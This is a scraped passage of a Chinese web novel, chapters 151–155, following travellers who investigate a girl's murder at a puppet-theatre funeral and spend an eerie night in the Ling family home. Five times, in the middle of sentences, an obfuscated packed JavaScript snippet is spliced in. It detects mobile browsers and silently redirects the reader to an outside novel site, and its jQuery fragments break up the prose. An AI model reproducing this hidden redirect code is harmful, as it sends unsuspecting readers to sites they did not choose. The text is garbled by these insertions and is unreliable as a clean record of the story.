拿鬼卒傀儡的中年男子,则是先将傀儡放在地上,再跑过去搀扶起已经哭到声嘶力竭的男子。 他看起来虽然比另外几人都淡定一点,但表情同样也是不可置信,嘴里反复地劝着:“三弟……三弟你先不要激动,等我们先回去瞧一眼,或许这人只是长得像倩倩而已呢。” 他的安慰并没有起到任何作用,哭到失态的人压根没听清他在说什么。 见这样下去不是办法,他只好对着搀扶老人的妇人道:“归宁,你先扶阿爹去台下坐着,再这样下去我怕阿爹会撑不住。” 妇人点点头,哄着老翁想扶他下去。 老翁死活不愿意,他走路的姿势不再挺拔,一步一步颤颤巍巍地拖走至粉色戏服前,又哆哆嗦嗦地蹲下身,颤抖地伸出手想要碰一下被戏服盖住的头颅。 可他的手刚伸出,泣不成声的男子便彻底昏了过去。 “三弟,三弟!” 老翁见男子晕倒,又哆哆嗦嗦地想站起身。 或许是一下子起身太急,老翁差点一头栽回地上,幸亏被一旁的妇人及时搀扶住,这才又勉强站直了身体。 在稳住身体后,他颤抖着嗓音对年纪稍大的男子道:“你先将阿池送回去,天青立刻去报官。我倒要看看,是谁……杀了我孙女!” 然后,他转过身看向那几位穿孝服的男男女女,和站在一旁的冷萤几人,举起拐杖指着他们道:“你们,一个都不准离开!” 冷萤正想问他们需不需要帮忙,旁边的黄色身影先她一步上前,大声问道:“老爷爷,请问需要帮忙吗?” 背对着他们的杏衣妇人,在听到珊瑚的声音后,不知怎的突然转过了身。 她看了眼出声的珊瑚,表情蓦然一变。即便妇人的双眼已哭得通红,仍然掩饰不住她绝佳的出尘气质。 见对方一直看着自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547142|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不说话也不移开视线。 珊瑚以为她是在担心他们几人会跑,又默默说了一句:“我们不会走的,需要帮忙吗?” 妇人又盯着珊瑚瞧了半晌,随后才默默摇了摇头,转身继续去帮忙。 “她怎么总看着我,感觉有些疹得慌。”珊瑚朝冷萤小声抱怨了一句。 冷萤用手指勾了勾她发间晃动的小绒球,说道:“我们珊瑚…今日居然主动问人家需不需要帮忙,看来是长大了。” 小姑娘轻轻撞了她一下,撒娇道:“冷姐姐总爱调戏我,也不知是跟谁学坏的。”说完,她有意无意地暼了方骅一眼。 老翁在将事情安排得差不多后,又被身边的妇人小心翼翼地扶下台。 没承想,他刚踏下最后一步阶梯,整个人就直挺挺地朝后倒了下去。妇人的力气太小,身边又正好没人帮忙。 眼见着老翁的整个 人包括后脑勺,都要狠狠砸在坚硬的地上时,冷萤身边一道黑影快速闪了过去。 在老翁整个身体离地面只有几寸距离时,方骅用双手接住了他。 倒在方骅胳膊上的老翁,一直用手捂住自己的胸口额头上全都是汗,呼吸变得格外急促。 几人看着老翁的脸色很是不对,忙让姜小四帮他瞧瞧。 姜小四走上前,示意方骅和妇人将老翁放平,在仔细查看一番后,凝重的表情渐渐和缓了些。 “有没有什么大碍?”冷萤问他。 对方摇了摇头,从药瓶里拿出几颗小小的丸子,喂进了老翁嘴里。 叫归宁的妇人有些担心地问了一句:“请问这位小哥,您给我公公吃的什么?” 姜小四朝冷萤动了几下手指,冷萤点点头转身对妇人解释道:“全都是护心的药材,没有坏处的。” “阿爹!” 几人正在说话间,台上那位杏衣妇人好似发现了这处不对劲,从台上冲了下来,对着老翁大声喊道:“阿爹,你怎么了?” 扶着老翁的妇人告诉她:“雪霜别担心,公公只是一下子承受不住晕了过去,这位小哥已经帮忙瞧过了,说没事。” 第一百五十一章 凌家 杏衣妇人这才松了一口气,站起身对着冷萤几人福身道:“妾身凌雪霜,多谢各位少侠救了我阿爹。” 姓凌? 冷萤顷刻间抬眼看过去,随即不动声色地回了礼。 姜小四抬手示意几下,冷萤点头后对凌雪霜解释道:“凌娘子有礼了!他说不用谢,举手之劳、何足挂齿。” 凌雪霜一反方才失态的模样,恢复端庄的仪态朝冷萤点了下头,并未对姜小四异于常人的长相,和不能开口说话的行为,表露出任何的诧异。 几人做了简单的自我介绍后,凌雪霜缓缓将目光放至珊瑚身上,问道:“姑娘的心地好,长相更是灵巧,可方便问问是哪里的人吗?” 所有人都是第一次见面,凌雪霜却独独询问珊瑚,这行为着实有些突兀,让珊瑚顿时起了防备之心。 她性格本就直爽,对方话音刚落,便回道:“四处漂泊,无根人士。” 见对方回答敷衍,凌雪霜恍然觉察出自己的失礼,眼含赧意的目光转向冷萤,掩饰问道:“几位看着不像广元人士,目前在广元可有落脚之地?” 珊瑚正准备继续回答,被冷萤一把按在原地。 她疑惑地看过去,却见自己的冷姐姐面不改色地回了两个字:“还未。” 听了冷萤的回答,凌雪霜眼瞳微微一动,随后似是有些伤心道:“今日本是为他人举办丧事,谁料方才侄女竟遭贼人所害。父亲和三弟接连受了打击,一个晕倒一个病倒。” “凌娘子节哀……”冷萤不知如何安慰,只能干巴巴地道一句。 对方点了点头,泪眼婆娑地看向方骅和姜小四,问道:“可否麻烦两位小哥,帮我将阿爹和大嫂送回家中。妾身要留在这里等县衙的人过来,实在无法抽身。” 方骅和姜小四将老翁扶起身,无声地朝她点了点头,表示同意。 见对方愿意,凌雪霜便顺势邀请:“几位若是不嫌弃,今夜可以直接在寒舍住下。待一切事情解决后,妾身要找机会好好感谢各位少侠。” 她的要求,冷萤自然求之不得。 并不是他们有多爱去别人家中做客,只是突然发生了这诡异的命案,而对方又恰好姓凌,让她不得不展开联想。 再加上,他们早已失去了杜桂风的踪迹。 凌风说过,杜桂风曾救过他一家的命。如果运气好的话,今晚在住进凌家后,他们说不定还能打听到一些杜桂风的消息。 这样两全其美的事情,自然是要答应的。 想到这里,冷萤微微颔首有礼道:“那就多谢凌娘子了,我们连夜进城确有诸多不便,待找好住处后就会告辞离开。” 凌雪霜看似在认真听冷萤讲话,如水的眸子却若有若无地朝珊瑚看了一眼。 在珊瑚察觉到后,又不留痕迹地转回视线道:“也不用着急,广元往来商旅众多,想找到合心的住处着实不容易。如果各位不嫌弃,便先在凌家住下吧。” 她的态度热切,反倒让冷萤几人一时不知该如何回答了。 或许是几人脸上的表情有些许无措,让凌雪霜觉察到自己的举动太过于热络,随即便不再继续说什么,而是微微让开身子,让大嫂归宁为方骅和姜小四带路。 “冷姑娘,珊瑚姑娘,请……”凌雪霜侧开身,示意她们跟着一同回去。 冷萤看了眼台上站着的人,又将目光落回凌雪霜身上,轻声道了“告辞”后,便拉着珊瑚离开了。 对方的态度很明显,不希望有外人留在此地。 虽然方才凌老翁说过,让他们一个都不要走。但现下看来,凌雪霜在这个家中,似乎说话更有分量。 她不愿意她们留在这里,她们也不好厚着脸皮死赖着不走。 只是…… 方才惊鸿一瞥,冷萤总觉得台上死去的那名女子的长相,她瞧见有些像谁。 但让她确切说出像谁吧……她又说不出。 或许是一时花了眼? 毕竟方才那样混乱,她也只不过趁乱瞧了一眼而已。 “冷姐姐……”珊瑚喊了冷萤一声,见对方没回她不知又在想什么,轻轻吸了一口气再次大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14547143|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声道:“冷姐姐!” “怎么了?”冷萤被她吓了一跳,忙回过神来问道。 珊瑚蹭到她身边,眼神往两人身后瞟了瞟,冷萤见状也想跟着看过去,却被珊瑚轻扯了下胳膊,“冷姐姐别往后看。” 见她举动奇奇怪怪,冷萤无声询问。 对方神神秘秘地凑近她,小声道:“你觉不觉得,那个凌娘子她总瞧我?” 原来她也发现了啊? 冷萤还以为她神经大条,不会发现对方可疑的视线呢。 “你以前见过她吗?”冷萤想了想,只能想出这一个原因了。 “当然没有!”珊瑚瞪大眼睛回道:“长得这么好看的娘子,我但凡瞧上过一眼,便不可能会忘记的!” 冷萤好笑地看着她摇头晃脑的可爱模样,逗着她道:“万一人家也是瞧你长得好看,想多看几眼呢?怎么……就只准你盯着人家瞧,别人瞧瞧你就不行了?” 珊瑚想了想,将脑袋靠在冷萤肩膀上边走边说道:“嗯……那倒 也不是。可我总觉得,她瞧我的眼神,好似在透过我……看着另外一个人。” 是这样吗?冷萤细想。 别看珊瑚平时大大咧咧的,其实心思最是细腻不过。 若她有这种感觉的话…… 冷萤正在想着,珊瑚突然又拉了拉她。她转头询问,却见珊瑚抬手指了指前方。 原来两人闲聊间,已经走到了凌家宅子。 宅院很大,从外表看起来庄重不失雅致。但在仔细瞧过几眼后,却发现这座宅院好似已经很久没有翻新过了。 虽庄重却也古旧。 雅致中还带着些许质朴。 几人正准备跟着叫归宁的妇人走进门,门里面却突然撞出来了另一位妇人。 那名妇人的打扮,相较凌雪霜与她大嫂更加鲜艳一些,妆容也稍显霸气一些。 只不过此时她凌厉的眉峰,还有艳丽的唇色,丝毫遮掩不住她脸上的惊惶失措。 “归宁,倩倩……倩倩她怎么了?” 第一百五十二章 婴儿的啼哭 “万归宁,你说话啊!你告诉我……我女儿她到底怎么了啊?” 对方猛地扑了过来,差点将万归宁扑倒。冷萤和珊瑚正巧站在她身后,见她差点摔倒,忙抬手扶了一下。 “殊心……倩倩她……”万归宁看着哭肿了眼的三弟妹,根本无法狠心将真相告诉她。 方骅与姜小四还扶着昏迷的凌老翁,见万归宁被一妇人拦住,只得率先走进去,朝门内的小厮打听凌老翁的房间在哪里。 此时,门外便只剩下了冷萤、珊瑚还有万归宁与那名叫殊心的妇人。 方骅与姜小四,是着急将凌老翁扶回房中休息。但冷萤和珊瑚没办法提前离开,就只好陪着万归宁一起劝那位妇人。 妇人的表情极其痛苦,说什么也不肯放开万归宁,嘴里一直不停地问着自己的女儿在哪里。 突然,那妇人在抬眼的瞬间,猛地瞧见了冷萤身旁的珊瑚,一把推开身前万归宁,眼见着就要往珊瑚这边扑来。 对方一个刚失去女儿的妇人,珊瑚不忍心动粗,犹豫间便让对方抓住了双臂。 “倩倩……我的倩倩啊,我就知道你会没事的……” 叫殊心的妇人嘴里喃喃念叨着,并抬起手想摸一摸珊瑚的脸庞。就在她的手快要碰上时,被再也无法忍受的珊瑚一把薅住。 珊瑚在抓住妇人的手腕后,一时竟不知道该丢开还是放任对方继续。 她从未处理过这样的场面,一般的情况不是直接上,就是懒理对方。 可如今这人看上去脆弱得紧,她大概是不能直接动手了,所以只好看向冷萤,求救道:“冷姐姐,我……我不想让她碰我。” 冷萤见那妇人已哭花了眼,走上前将对方的手腕自珊瑚掌心拿下。 随后,才将珊瑚推到自己身后,轻声朝对方道:“娘子请节哀,小女子冷萤与义妹珊瑚今日上门打扰,还望娘子见谅。” “珊瑚……?”妇人踉跄着往后退了两步,好似完全不信一般疯狂摇着头,嘴里喃喃道:“她不是我的倩倩吗?你们为什么要骗我?” 万归宁见她几近疯狂,连忙上前扶住她,对冷萤和珊瑚抱歉道:“对不住二位姑娘,让你们见到这场面。麻烦稍等,我先将三弟妹送回去后,再给你们安排住处。” 冷萤点点头表示没事,随即问道:“万娘子有需要帮忙的吗?” 对方有些抱歉地摇摇头,扶着还死盯着珊瑚的妇人离开了。 “这一家人,怎么都这么爱盯着人家看。”珊瑚拍了拍被妇人抓皱的衣衫,小声朝冷萤抱怨道。 冷萤却并未回她的话,只是静静地瞧着她,轻皱着眉头细细思索。 珊瑚舍不得对冷萤翻白眼,只得抬起头对着朦胧的夜色白了一眼。 二人等了没多久,万归宁便差人将她们接了进去。 方骅与姜小四歇脚的客房离她们有些远,凌家本是安排冷萤与珊瑚分房休息的。 谁料,珊瑚突然耍起了脾气,死活不愿意分开住,非要同冷萤住一间房,睡一张床。 冷萤无奈,只得答应。 往常在客栈,她们虽住同一间房,却都是分开休息。 想来,今夜突逢如此恐怖的命案,小姑娘有些害怕,实属正常。 毕竟在别人家中不好太麻烦,两人进房后草草清洗一下,便直接睡下了。 珊瑚确实是累了,躺下没多久便发出极轻微的鼾声。但冷萤今夜却怎么也睡不着,无意识盯着映满枝叶的窗纸,默默思索着什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14617955|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么。 就在她眼睛慢慢闭上,快要睡过去时…… 一声极轻的哭声传入她脑海中。 她起初以为是身边的珊瑚梦魇了,转过身瞧了一眼,却发现对方睡得好好的。 再仔细一听…… 耳边传来的哭声,明显不是一个成年女子该有的哭声。 更像是……刚出生襁褓里婴儿的哭声! 这大晚上,难不成是凌家哪房有小孩在闹觉? 好在哭声并不很大,即便一直存在,也不会影响到她休息。 伴随着那时有时无的婴儿啼哭,冷萤在最后看了一眼窗纸后,慢慢地闭上了…… 等等! 窗外好像有人! 冷萤还没来得及闭上的双眼,又倏地睁开。 窗纸上,枝叶在轻轻晃动着,早秋的树叶偶尔会落下一两片,划过窗纸轻轻落到地上。 难不成,是她看错了? 方才一闪而过的黑影,其实是树叶飘落下来的幻影? 这样想着,她慢慢静下心来,沉沉睡了过去…… 直到感觉到……有一双粗糙的手正在抚摸自己的脸。 她心里顿时被吓得一激灵,想醒却怎么也醒不过来。 “嘿嘿嘿……” 是谁的声音一直在她耳边笑,她明明想睁开眼看清对方是谁,无奈怎么挣扎都只是徒劳。 她感觉,有什么东西一直悬在自己上空,阴影在她眼前变幻交错,忽闪忽现。 然后……朝自己后方移去…… 她身后有什么呢?为什么会吸引到东西? 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更 精彩! 第一百五十三章 夜袭 清晨的第一缕朝阳,温柔地“抚”上珊瑚的脸庞。 被打扰到的她闭了闭眼,哼哼唧唧地保持原样直直地弹坐起来。 人虽然是起来了,却还是不舍得睁开眼睛,只是伸出手往旁边一摸。 冰凉的床铺,预示着她的冷姐姐已经起床许久了。 这下,她顾不得自己还想睡,终于睁开了迷茫的双眼,开始寻找冷萤的身影。 “呼……冷姐姐怎的起这么早?”见自己要找的人坐在不远处的梳妆台前,她轻轻松了口气,才不解地开口问道。 被叫到的人,动作极慢地、面无表情地朝她这处转过了头。珊瑚这才发现,她冷姐姐今日的气色真是差极了。 她忙下床凑近对方,伸出手在冷萤眼下的黑青处轻轻一划,担心地问道:“冷姐姐,你昨日失眠了?” 呵呵……她失眠了…… 冷萤难得笑不出来,恹恹地看着睡了一场好觉,一改前几日疲惫之态的珊瑚,皮笑肉不笑地道:“我们家珊瑚还小,睡眠还是挺好的。” 说完不等珊瑚开口,她缓缓地举起一只手,指着自己一边脸颊,问道:“看到了吗?” 珊瑚眯着眼睛瞅了好久,终于在冷萤洁白如玉的脸侧,看到了一丝极细微的划痕。 她没忍住伸手碰了碰,听见对方“嘶”了一声后,才心疼道:“冷姐姐,你怎么受伤了?这么长一条划痕,是谁做的?我去宰了她!” 冷萤凝着幽幽的眸子,视线慢慢移到珊瑚另外一只手的指甲上,悠悠道:“今日是吉日,我们珊瑚该剪指甲了,冷姐姐一会儿就帮你搞定……”最后几个字,被她说得极慢。 珊瑚即便再大条,也懂了冷萤的意思。 她猛地收回手,瞧着冷萤凉凉的目光,视线慢慢地移至对方那道伤口上,不可置信道:“冷姐姐,你脸上的伤……不会是我做的吧?” 见对方凝视她的双眼动都没动一下,她还有啥不懂的呢? 瞬间愧疚的都快跪下的她,一把抓起冷萤的双手,轻轻地往自己脸上挠。 一边挠,她嘴里止不住地道着歉:“冷姐姐,你是不是半夜叫我了?我……我只要是睡着了,谁来也叫不醒的。还……”在对方压迫力极大的眼神下,她心虚地继续道:“还会不停挠人……” 冷萤发誓,她气的真不是脸上那道浅得不能再浅的伤痕。 她生气的是,昨夜在看见那凭空出现在矮凳上的布块,整个心脏被吓到紧缩。紧张到感觉呼吸都是多余的时候,她只不过轻轻碰了珊瑚一下…… 她发誓,真的只是很轻的一下…… 然后,就被结结实实地打了一巴掌! 一巴掌下来,她心脏也不紧缩了,呼吸也顺畅了,只是依然睡不着。 谁大半夜突然醒来,猛地瞧见床头多了样陌生的东西,还能心大地继续睡。 除了眼前这个傻丫头外。 于是在愣坐许久后,她好了伤疤忘了疼,又悄悄凑近珊瑚,轻轻叫了她一声…… 她发誓,真的是很轻的一声…… 然后,就被挠了! 如果换成平时,这点力度冷萤真的不会放在心上。 可昨天,她委屈啊…… 还害怕! 最后,在不能碰身边的人,又实在睡不着的情况下,她颤抖着双腿下了床,找了个自己认为最安全的地方坐下。 在陌生的地方,她不敢一个人走出这间房。万一,外面有更可怕的东西等着她怎么办? 斟酌片刻后,她便在梳妆台前,一直从半夜干坐到天色渐渐放亮,才撑着下颌眯了一小下。 听她讲述昨夜发生的事情后,珊瑚差点给自己抡两巴掌。 冷萤自是不忍心见她这般愧疚,指着桌前的那块布转移话题道:“这块布瞧着年代久远,但颜色与花纹,又像是一般孩童会用上的。真是好生奇怪……” 珊瑚见状,拿起那块褪色还起毛边的布块,猜测道:“难道……是小孩穿不了了,便拿来做了别的用处?” “不管做什么用处,总不至于会长翅膀自己飞到我们房间吧?”冷萤疑惑一句,随后喃喃道:“难不成,昨夜我们房中真的进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14617956|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了人?” 说到这里,她突然想起了什么,对着珊瑚急切问道:“你昨夜,可有听见婴儿的哭声?” “婴儿的哭声?”珊瑚歪着脑袋想了想,茫然地摇了摇头。 也是…… 她睡得那么沉,哪里听得见。 两人正聊着,房门突然被敲响了。 冷萤让珊瑚收拾一下,自己则起身去开门。 打开门,一名丫鬟端着东西站在门口。 “两位姑娘早,是二小姐让我给两位姑娘送吃的过来。” 冷萤道谢,侧身放丫鬟进来。对方将托盘放下后,福了福身便准备离开。 冷萤想了想,叫住她问道:“姑娘,请问我们旁边住着的,是否有初生的婴儿。如果有的话,我们会尽量小声些,以免打扰到人家。” 丫鬟刚走出门,听见她的问询缓缓转过身,表情不明回道:“初生的婴儿?凌家好多年都没有小孩出生了,姑娘是听见什么了吗?” 冷萤忙 摇了摇头表示没有,对方这才点点头关门离开。 “冷姐姐,你为何突然问起这个?” 珊瑚一边问,一边朝她招手让她快些过来吃饭。见冷萤坐下后,她才拿起桌上的吃食,大口大口朝自己嘴里投喂。 冷萤没什么食欲,随意拿起馒头咬了口,问道:“珊瑚,你有没有觉得,方才那丫鬟没有正面回答我的问题?” “有啊,”珊瑚梗着脖子吞下嘴里的东西,回道:“她说好多年都没有小孩出生了,这不就是回答你没有刚出生的婴儿了嘛……” 她说得也没错…… 可对方在回答后,为何还要反问她听见什么了没? “冷姐姐,”珊瑚给她端过来一碗粥,好奇地问道:“你还没回答我,为何突然问起这件事呢。” 冷萤放下手中的馒头,拿起粥喝了一口,慢慢将视线转向珊瑚。 看着对方鼓鼓囊囊的双颊,她想了想,表情坚定地开口道:“因为我非常确定……昨夜真的有听见婴儿的啼哭。并且……不止一次!” 第一百五十四章 凌家变迁 冷萤话音刚落,门外又传来了敲门声。 屋内二人同时被吓了一惊,冷萤刚准备起身,被旁边的人一把按下。 珊瑚跳起身去开门,刚打开,发现门外站着的是方骅与姜小四。立刻当作什么也没有瞧见一样将房门一甩,转身回到冷萤身边。 姜小四眼疾手快地抵住门,朝珊瑚的背影无意识地龇了龇牙。要不是他眼疾手快,他俩一大早就得吃闭门羹。 方骅完全不在意地朝里走,一边走一边朝冷萤问道:“昨夜睡得可……” 最后一个字,在他的视线接触到冷萤眼底的黑青时,话锋一转:“昨夜可有遇到不寻常之事?” 他既问起,冷萤便将她与珊瑚,昨夜所遇见的诡异事情,简单同两人讲了讲。 “听见婴儿啼哭?”方骅担心到不由自主地开始皱眉,随即伸出手,“那块布呢?” 冷萤递过去,他接过后先用手指细细摩挲了几下,在没发现什么异常后,随即将布块收起道:“我正好拿去打听一下,这事你就别想了,先好好休息一下再说别的。” “正好?”冷萤抓住他话中的重点,问道:“你们要去哪里?” 方骅站起身,开口道:“方才过来,就是想告诉你们一声。昨夜那头颅的主人,便是凌家老三的大女儿,凌倩倩。我早起听说……昨夜衙门的人也没查到什么结果,正准备去凌老翁那打听一下。” “我也要去。”冷萤即刻站起身,左手将正在埋头苦吃的珊瑚拉起,右手还不忘帮她拿了个馒头。 “你可以吗?”方骅指了指她的眼睛。 冷萤坐回梳妆台前,拿起妆粉随意往眼下拍了拍,站起身又拿起桌上的馒头,点点头道:“我可以,走吧!” “呜……还唔吃完……”珊瑚嘴里的东西还没来得及吞下,手里就被冷萤塞了个馒头,下一瞬便被拉出了房门。 在去凌老爷子房间的路上,方骅顺便将昨夜和今早打听到的,关于凌家的一些消息说与几人听。 在他不算详细的讲述下,几人逐渐对一个家族的兴衰有了简单的了解。 凌家的高祖凌江风,年轻时是广元当地有名的漆画名匠,曾经一幅漆画价值千金。 只可惜后来,在当时的新帝继位后,正提倡节俭时撞在了风口浪尖上。 或许是为了杀一儆百,新帝便将漆画当作典型,痛斥此画的奢靡之风,并暗示这类画风浓郁,与当朝节俭之风全然不搭。 并明令,朝内臣子家中不可悬挂此等画作。 这下子,凌江风拿手的漆画技艺,从一画难求直接变为了再无人问津。 失去谋生之路的凌江风,还有一大家子要养。实在没办法的他,只能向自己的好友,一名悬丝傀儡艺怜诉苦求助。 好友同他出主意,说新帝既然不爱漆画,他们不如就按着新帝的喜好来学一门技艺。 在多番打听,塞了许多银钱之后,让他们得知了,当今新帝独爱傀儡之戏。 好友本就熟知傀儡之戏,便提议凌江风,让他不如将自身手艺运用在傀儡雕刻之上,投其所好还能赚钱养家,何乐不为呢? 凌江风一听,觉得好友这主意甚好,二话不说立即上山找了名老师傅,便开始学起了傀儡雕刻之术。 他本就是手艺人,在刻苦学艺好几年后,便深得师傅手艺之精髓。 学成归来的他,不仅能将那些傀儡雕刻得栩栩如生,让每个傀儡瞧上去都性格鲜明,且在丝线的带动下,全都仿若真人一般。 就这样,他被迫渐渐地放弃了漆画,融入好友的戏班子,结合当下时兴的戏曲,制作出独属于凌家的粉彩傀儡头。 就因为凌江风的好学与坚持,凌家后几代的人全都靠着粉彩傀儡头,将声名传出广元之外,甚至一度得到圣上青睐,获得过不少恩赐。 可一个家族,不可能长久不衰。 凌家在凌天阁这一代,逐渐有了衰退之势。 凌天阁,便是冷萤几人昨日遇到的那位凌老翁。 虽说他将父亲的手艺学了十成十,更是在成家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14617957|155314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后接下父亲一手创立的-牵丝阁悬丝傀儡戏班。 他的三个子女,除了唯一的女儿独爱漆画外。老大和老三,包括他们娶来的两位儿媳,全都是牵丝阁戏班子的成员。 甚至连他三个子女的后代,同自己爹娘一样,自小便开始学习悬丝傀儡技艺。 至于…… 为何凌天阁的子女只学了戏曲这一部分,并未继承到父亲傀儡雕刻的技艺呢…… 那便要从凌天阁这一代的圣上说起。 每个人的喜好都不同,当然帝王也一样。 到了凌天阁这一代,当今圣上,在臣下向其推荐了一名京城擅长傀儡之戏的巧匠后,反而痛斥巧匠之技不该用在此等奇巧戏具上,而是要制作出有益于当朝大事之物。 圣上的话,如巨石投入池水中,重重地打在一生都在钻研傀儡之戏的匠师心中。 天下百姓,自然唯圣上之命是从。 渐渐地……年轻一辈不再对傀儡之戏感兴趣。凌家……自然渐渐没落了下来。 到了凌天阁的大儿子凌云海接下牵丝阁时,戏班子 已经没了生意。 可一家老小要吃饭啊。 好在广元老一辈的人,还有很多人爱傀儡之戏的。 于是,凌云海灵机一动,便带领着整个戏班子开始游走广元县,甚至于邻县的大大小小的丧礼中。 在那些老人去世后,云为他们唱一出,老人们年少时曾经最爱的傀儡之戏。 听到这里的冷萤,不禁有些唏嘘,叹了一口气问道:“昨日拿鬼卒傀儡的便是凌家老大凌云海吗?那凌雪霜便是二女儿。所以……死的那名女子,便是老三凌池家的大女儿……凌倩倩?” 方骅点了点头,继续为她解惑道:“你们昨夜在门口遇见的,那位情绪有些激动的妇人,她叫林殊心。不仅是凌倩倩的母亲,也是……” “凌风的母亲?”冷萤随即反应过来,接过他的话问道。 看见对方投来的眼神,她便知道自己猜对了。 第一百五十五章 凶手在凌家 珊瑚一听,顿时瞪大眼睛,结结巴巴开口道:“那……岂不是……” 冷萤知道她想说什么。 她想说,凌倩倩这事一出,凌家老三一家岂不是儿女尽失? 凌风可以说是他咎由自取,但凌倩倩之死不得不说,不仅诡异还很奇怪。 他们既然已摸清这些人的身份,现下仔细想想,凌倩倩她再怎么……也不会死在戏台之上啊。 昨晚,台上一共有三名演师。 鬼卒傀儡的演师,是凌倩倩的大伯-凌云海。 粉衣傀儡的演师,是凌倩倩的姑母-凌雪霜。 而那小生傀儡的演师,则是凌云海之子,凌倩倩的堂哥-凌天青。 这三个人,同凌倩倩都是亲人。而台下坐着的,更是凌倩倩的爷爷、父亲和大伯母。 戏班子里的所有人,都与她是手足至亲,又有谁又会害她呢? 那么…… 她如果不是被自家人所害,难不成……是办丧事的那家人其中一个人? 方骅讲完后,便一直在观察冷萤的神色。 在瞧见她微微皱了下眉后,好似懂了对方正在想什么,突然开口道:“不用费神了,不是办丧事的那一家。” 冷萤抬头,讶异他怎会知自己心中所想。 见她疑惑,方骅继续开口道:“因为我曾与你有过同样的疑惑,并且已经让陈全去打听过了。对方家中是老人去世,他们并没有作案的动机与时机。并且……” “并且什么?”见他突然停顿,冷萤急忙问道。 知道她此时着急,但方骅还是指了指前方,示意几人道:“凌天阁的房间到了,我们不如先进去听听他怎么说。” 这人就不能先把话说完吗?冷萤瞪着方骅绝情的背影,愤愤地拉着珊瑚和姜小四跟了上去。 “我就说他心黑吧……”珊瑚秉持着,只要有她在,绝不会放过任何一个离间冷姐姐与那个人的机会。 四人在凌天阁房门前站定,方骅刚敲了两下,里面很快就传来一句“几位请进……” 正躺在床上喝药的老翁,见到他们进门后,立即让旁边的下人将他扶起坐好。 “昨晚,多谢几位少侠了。”凌天阁侧身对几人道谢,随后道:“小女今早告知,几位少侠……特别是一位姓姜的少侠昨晚出手相助,老夫真的……不知该如何感激你们了。” 姜小四本是沉默地站在一旁,听对方突然提起他,脸蓦地一红,随即连忙摆了摆手。 凌天阁邀请他们坐下后正想起身,被冷萤拦住了动作,“凌爷爷,您身体重要,我们就这样说话便好。” 老人极慢地点了点头,在下人的搀扶下,整个身体慢慢靠向床头。 在喝完最后一口药后,他示意下人出去,随即才对几人道:“昨晚……在看见那件粉色戏服下的骸骨时,老夫便知‘它’又回来了……” 他没头没脑的一句话,让几人面面相觑。 老人似乎也没准备让他们搞清楚,便自顾自道:“知道老夫为何,让小女请各位少侠过来吗?” 见他们摇摇头,凌天阁才苦笑着对方骅道:“昨晚,少侠赶到身边时,其实老夫还未完全失去意识。如果老夫当时没看错的话……少侠身上的那块牌子,便是京中官员的牙牌吧?” 见对方已察觉到自己的身份,方骅也不藏着掖着了。 他站起身,规规矩矩行了一礼,开口道:“在下京城刑科给事中,方骅。” 凌天阁见他自报家门,忙坐起身回了一礼,恭敬道:“老朽不知刑科大人降临寒舍,真是有失远迎,还请见谅。” “在下出门在外,没有那么多规矩。只是……”他摸了摸藏在腰间的牌子,问道:“您邀请我们过来,与在下之职有何关系?” 对方在听他提起这事时,浑浊的双眼直愣愣地看向前方许久,随即才重重一闭,好似下定了什么决心。 见老人家挣扎着想起身,姜小四连忙上前扶起对方。 